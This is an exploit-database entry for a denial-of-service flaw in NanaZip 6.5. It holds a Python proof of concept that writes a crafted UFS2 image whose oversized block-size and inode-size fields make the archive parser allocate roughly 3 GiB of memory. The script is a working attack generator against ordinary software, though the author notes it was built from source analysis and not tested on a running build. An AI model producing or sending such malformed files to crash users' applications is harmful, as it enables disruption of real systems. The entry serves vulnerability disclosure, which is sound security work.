NanaZip 6.5 - DoS

EDB-ID:

52656

CVE:

N/A




Platform:

Multiple

Date:

2026-08-18


# Exploit Title: NanaZip 6.5  - DoS

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/M2Team/NanaZip 

# Software Link: https://github.com/M2Team/NanaZip/releases 

# Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0)

# Tested on: Windows

# CVE: CVE-2026-55781

# Category: dos

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55781-NanaZip 



An attacker-controlled fs_bsize field in a crafted UFS image drives an unbounded allocation in the NanaZip.Codecs UFS handler before any bounds check.



NOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source

(NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but

was not executed against a running build. Benign — it only generates the malformed carrier file.



--- PoC generator (GHSA-m34h-jf84-m74h.py) ---

#!/usr/bin/env python3

# PoC generator: unbounded memory allocation in NanaZip's UFS parser

# (GHSA-m34h-jf84-m74h).

#

# A 66912-byte UFS2 image. The superblock at SBLOCK_UFS2 (65536) sets

# fs_bsize = 0x40000000 (1 GiB); Open() only enforces the lower bound MINBSIZE.

# Root inode #2 sits at GetInodeOffset(2) = (fs_iblkno=0)*fs_fsize + 2*256 = 512

# with di_size = 1 TiB, so GetInodeInformation() overruns its 12 direct blocks

# and allocates three 1 GiB indirect buffers (NanaZip.Codecs.Archive.Ufs.cpp:

# 435-437) -> ~3 GiB. All superblock field offsets below are the real offsetof()

# values from NanaZip's bundled FreeBSD/fs.h (struct fs, little-endian).

import struct



SB, SBSIZE = 65536, 1376

img = bytearray(SB + SBSIZE)



# --- root inode #2 at file offset 512 (ufs2_dinode) ---

struct.pack_into("<H", img, 512 + 0,  0x4000)            # di_mode  = IFDIR

struct.pack_into("<h", img, 512 + 2,  1)                 # di_nlink = 1

struct.pack_into("<Q", img, 512 + 16, 0x10000000000)     # di_size  = 1 TiB



# --- superblock @ 65536 (offsets = offsetof(struct fs, ...)) ---

struct.pack_into("<i", img, SB + 16,   0)                # fs_iblkno

struct.pack_into("<I", img, SB + 44,   1)                # fs_ncg

struct.pack_into("<i", img, SB + 48,   0x40000000)       # fs_bsize  (1 GiB)

struct.pack_into("<i", img, SB + 52,   1)                # fs_fsize

struct.pack_into("<i", img, SB + 56,   1)                # fs_frag

struct.pack_into("<i", img, SB + 104,  SBSIZE)           # fs_sbsize (>= sizeof(fs))

struct.pack_into("<q", img, SB + 1000, SB)               # fs_sblockloc = SBLOCK_UFS2

struct.pack_into("<I", img, SB + 184,  16)               # fs_ipg

struct.pack_into("<i", img, SB + 188,  0)                # fs_fpg

struct.pack_into("<i", img, SB + 1320, 0)                # fs_maxsymlinklen

struct.pack_into("<I", img, SB + 1372, 0x19540119)       # fs_magic = FS_UFS2_MAGIC



with open("poc.img", "wb") as f:

    f.write(img)

print(len(img), "bytes ->", "poc.img")